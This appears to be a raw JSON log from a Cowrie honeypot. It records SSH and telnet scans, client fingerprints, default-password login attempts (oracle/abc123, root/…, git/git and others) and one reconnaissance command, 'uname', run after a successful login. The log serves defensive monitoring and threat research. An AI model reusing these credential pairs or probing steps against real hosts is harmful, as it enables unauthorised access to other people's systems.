{"eventid":"cowrie.session.connect","src_ip":"72.14.178.148","src_port":44729,"dst_ip":"10.17.0.5","dst_port":23,"session":"75c380947fca","protocol":"telnet","message":"New connection: 72.14.178.148:44729 (10.17.0.5:23) [session: 75c380947fca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:32.047963Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:32.053810Z","src_ip":"72.14.178.148","session":"75c380947fca","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept: */*","password":"Accept-Encoding: gzip","message":"login attempt [Accept: */*/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:32.058360Z","src_ip":"72.14.178.148","session":"75c380947fca","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 zgrab/0.x","password":"","message":"login attempt [User-Agent: Mozilla/5.0 zgrab/0.x/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:32.062409Z","src_ip":"72.14.178.148","session":"75c380947fca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:32.202059Z","src_ip":"103.75.182.198","session":"0cc8b6508839","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.42573118209838867,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:32.473536Z","src_ip":"72.14.178.148","session":"75c380947fca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:32.528445Z","src_ip":"213.209.159.56","session":"5bba07a07d08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43278,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4770f5952dd","protocol":"ssh","message":"New connection: 176.65.132.129:43278 (159.203.135.109:22) [session: a4770f5952dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:33.343331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:33.349036Z","src_ip":"176.65.132.129","session":"a4770f5952dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:33.430885Z","src_ip":"176.65.132.129","session":"a4770f5952dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54806,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f6f66252465","protocol":"telnet","message":"New connection: 152.42.224.71:54806 (10.17.0.5:23) [session: 1f6f66252465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:33.654805Z"}
{"eventid":"cowrie.login.success","username":"oracle","password":"abc123","message":"login attempt [oracle/abc123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:33.678174Z","src_ip":"176.65.132.129","session":"a4770f5952dd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:33.895171Z","src_ip":"176.65.132.129","session":"a4770f5952dd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:33.898957Z","src_ip":"176.65.132.129","session":"a4770f5952dd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:33.986494Z","src_ip":"176.65.132.129","session":"a4770f5952dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:33.992197Z","src_ip":"176.65.132.129","session":"a4770f5952dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.588714361190796,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:34.167038Z","src_ip":"152.42.224.71","session":"871b98076ab1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54818,"dst_ip":"10.17.0.5","dst_port":23,"session":"18b52150d993","protocol":"telnet","message":"New connection: 152.42.224.71:54818 (10.17.0.5:23) [session: 18b52150d993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:36.457262Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43616,"dst_ip":"159.203.135.109","dst_port":22,"session":"cab9d99f4951","protocol":"ssh","message":"New connection: 176.65.132.129:43616 (159.203.135.109:22) [session: cab9d99f4951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:36.586505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:36.705281Z","src_ip":"176.65.132.129","session":"cab9d99f4951","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:36.709495Z","src_ip":"176.65.132.129","session":"cab9d99f4951","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"password","message":"login attempt [student/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:37.040517Z","src_ip":"176.65.132.129","session":"cab9d99f4951","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:38.125855Z","src_ip":"176.65.132.129","session":"cab9d99f4951","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43638,"dst_ip":"159.203.135.109","dst_port":22,"session":"43ac14bd79e2","protocol":"ssh","message":"New connection: 176.65.132.129:43638 (159.203.135.109:22) [session: 43ac14bd79e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:39.948039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:39.956070Z","src_ip":"176.65.132.129","session":"43ac14bd79e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:40.037863Z","src_ip":"176.65.132.129","session":"43ac14bd79e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranga","password":"ranga","message":"login attempt [ranga/ranga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:40.284878Z","src_ip":"176.65.132.129","session":"43ac14bd79e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:41.456910Z","src_ip":"176.65.132.129","session":"43ac14bd79e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37652,"dst_ip":"10.17.0.5","dst_port":23,"session":"a66a90e25159","protocol":"telnet","message":"New connection: 152.42.224.71:37652 (10.17.0.5:23) [session: a66a90e25159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:41.687860Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37666,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab73e4c4804f","protocol":"telnet","message":"New connection: 152.42.224.71:37666 (10.17.0.5:23) [session: ab73e4c4804f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:41.776706Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":48404,"dst_ip":"10.17.0.5","dst_port":22,"session":"80879f377fa9","protocol":"ssh","message":"New connection: 186.13.24.118:48404 (10.17.0.5:22) [session: 80879f377fa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:42.136121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:42.140758Z","src_ip":"186.13.24.118","session":"80879f377fa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:42.294658Z","src_ip":"186.13.24.118","session":"80879f377fa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pussies","message":"login attempt [root/pussies] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:42.941040Z","src_ip":"186.13.24.118","session":"80879f377fa9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43654,"dst_ip":"159.203.135.109","dst_port":22,"session":"f685c36aed8e","protocol":"ssh","message":"New connection: 176.65.132.129:43654 (159.203.135.109:22) [session: f685c36aed8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:43.140997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:43.145525Z","src_ip":"176.65.132.129","session":"f685c36aed8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:43.227877Z","src_ip":"176.65.132.129","session":"f685c36aed8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"system","message":"login attempt [system/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:43.476045Z","src_ip":"176.65.132.129","session":"f685c36aed8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:44.098443Z","src_ip":"186.13.24.118","session":"80879f377fa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:44.565192Z","src_ip":"176.65.132.129","session":"f685c36aed8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":39046,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d3d17a2036a","protocol":"ssh","message":"New connection: 176.65.132.129:39046 (159.203.135.109:22) [session: 8d3d17a2036a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:46.592461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:46.597162Z","src_ip":"176.65.132.129","session":"8d3d17a2036a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:46.728992Z","src_ip":"176.65.132.129","session":"8d3d17a2036a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:46.977090Z","src_ip":"176.65.132.129","session":"8d3d17a2036a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:48.062204Z","src_ip":"176.65.132.129","session":"8d3d17a2036a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":39160,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea2fb5404518","protocol":"ssh","message":"New connection: 176.65.132.129:39160 (159.203.135.109:22) [session: ea2fb5404518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:49.834533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:49.839390Z","src_ip":"176.65.132.129","session":"ea2fb5404518","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:49.920747Z","src_ip":"176.65.132.129","session":"ea2fb5404518","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:50.166271Z","src_ip":"176.65.132.129","session":"ea2fb5404518","protocol":"ssh"}
